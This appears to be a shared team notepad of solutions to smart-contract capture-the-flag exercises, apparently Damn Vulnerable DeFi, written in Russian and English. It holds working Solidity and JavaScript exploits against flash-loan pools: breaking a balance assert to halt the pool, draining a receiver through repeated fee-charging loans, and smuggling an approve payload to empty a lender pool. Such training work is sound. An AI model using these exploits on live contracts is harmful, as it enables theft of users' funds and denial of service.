---
# System prepended metadata

title: Tmp hackboard

---

# Tmp hackboard

## Template
Just copy section below and put your submission into snippet area

### lotner
#### task 1
```solidity
put code here
```подлезть под amount и owner


### algys

#### task 1
```solidity

```


### keff

### task1
    Вызываем функцию возврата два раза вызывает падение
     this.token.transfer(this.pool.address, INITIAL_ATTACKER_BALANCE, {from: attacker });

### task2
Контракт обращается за заемами множество раз до тех пор пока баланс не станет меньше процента заема.
```
function attack(
    INaiveReceiverLenderPool pool,
    address payable receiver
) public {
    uint256 FIXED_FEE = pool.fixedFee();
    while (receiver.balance >= FIXED_FEE) {
        pool.flashLoan(receiver, 0);
    }
}
```

### task3
Возьмем заем в 0, и заапрувим контракт передав в качестве payload функцию переводящую деньги на наш контракт, после чего спишем все деньги с контракта
```
function attack(IERC20 token, ITrusterLenderPool pool, address attackerEOA)
    public
{
    uint256 poolBalance = token.balanceOf(address(pool));
    bytes memory approvePayload = abi.encodeWithSignature("approve(address,uint256)", address(this), poolBalance);
    pool.flashLoan(0, attackerEOA, address(token), approvePayload);

    //fgghed pf,bhftv dct
    token.transferFrom(address(pool), attackerEOA, poolBalance);
}
```

### Tigran
### Task 1
Идея: В функции flashLoan контракта UnstoppableLender выполняется assert на равенство storage переменной poolBalance и memory переменной balanceBefore. Нарушение данного равенства приведет к отказу работы функции flashLoan. Нарушить равенство можно, переведя на баланс UnstoppableLeneder токены с баланса аккаунта атакующего.

Решение:
```
await this.token.transfer(this.pool.address, INITIAL_ATTACKER_BALANCE,
 {from: attacker});
```


### Task 2
Идея: Контракт NaiveReceiverLenderPool выдает заём не msg.sender, а на параметризованный адрес. Таким образом, можно неограниченно запрашивать заём средств на атакуемый аккаунт, вынуждая его оплачивать комиссию.

Решение:
```
while (await balance.current(this.receiver.address) > 0) {
    await this.pool.flashLoan(this.receiver.address, 0);
}
```


### Task 3
Идея: Функция flashLoan использует параметризированные адреса borrower и target, вместо msg.sender. Также функция принимает поле data, и напрямую передает его при вызове метода call у target, не проверяя его содержимое. Соответственно, можно использовать в качестве target damnValuableToken и в качестве data передать payload, вызывающий метод approve у токена, выдывая атакующему аккаунту approve на распоряжение балансом контракта TrusterLenderPool.

Решение: **WIP**

## Fedor
## task 1
Как уже писали выше, использовать стандартный ERC-20 трансфер вместо использования функции depositTokens(), тогда два значения poolBalance и balanceBefore не будут одинаковы.